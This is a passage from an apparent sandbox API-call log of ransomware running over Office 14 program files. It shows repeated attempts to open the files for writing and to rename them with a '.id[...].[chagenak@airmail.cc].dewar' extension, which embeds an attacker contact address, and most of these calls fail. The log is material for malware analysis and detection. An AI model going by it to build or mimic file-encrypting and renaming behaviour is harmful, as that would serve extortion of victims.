controller\\office.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.620] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1383) returned 1 [0236.620] CloseHandle (hObject=0x1e4) returned 1 [0236.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0236.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0236.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.623] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2362) returned 1 [0236.623] CloseHandle (hObject=0x1e4) returned 1 [0236.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0236.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0236.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.627] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4274) returned 1 [0236.627] CloseHandle (hObject=0x1e4) returned 1 [0236.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0236.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0236.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.629] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1606) returned 1 [0236.629] CloseHandle (hObject=0x1e4) returned 1 [0236.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0236.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0236.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0237.086] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1988) returned 1 [0237.086] CloseHandle (hObject=0x1b4) returned 1 [0237.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0237.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0237.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.087] SetEvent (hEvent=0x118) returned 1 [0237.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0237.314] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1886) returned 1 [0237.314] CloseHandle (hObject=0x1f0) returned 1 [0237.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0237.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0237.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.319] SetEvent (hEvent=0x118) returned 1 [0237.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.557] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=31094) returned 1 [0237.557] CloseHandle (hObject=0x1e0) returned 1 [0237.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0237.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0237.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.676] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1800) returned 1 [0237.676] CloseHandle (hObject=0x1e0) returned 1 [0237.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0237.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0237.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.680] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=9568) returned 1 [0237.680] CloseHandle (hObject=0x1e0) returned 1 [0237.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 0x20 [0237.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 0x20 [0237.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.687] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=19848) returned 1 [0237.687] CloseHandle (hObject=0x1e0) returned 1 [0237.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 0x20 [0237.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 0x20 [0237.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.691] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=18336) returned 1 [0237.691] CloseHandle (hObject=0x1e0) returned 1 [0237.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 0x20 [0237.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 0x20 [0237.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.696] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=752552) returned 1 [0237.696] CloseHandle (hObject=0x1e0) returned 1 [0237.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 0x20 [0237.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll")) returned 0x20 [0237.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.698] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=261008) returned 1 [0237.698] CloseHandle (hObject=0x1e0) returned 1 [0237.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 0x20 [0237.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll")) returned 0x20 [0237.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.705] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3943312) returned 1 [0237.705] CloseHandle (hObject=0x1e0) returned 1 [0237.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll")) returned 0x20 [0237.706] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0237.708] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll")) returned 0 [0237.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.711] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1870696) returned 1 [0237.711] CloseHandle (hObject=0x1e0) returned 1 [0237.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll")) 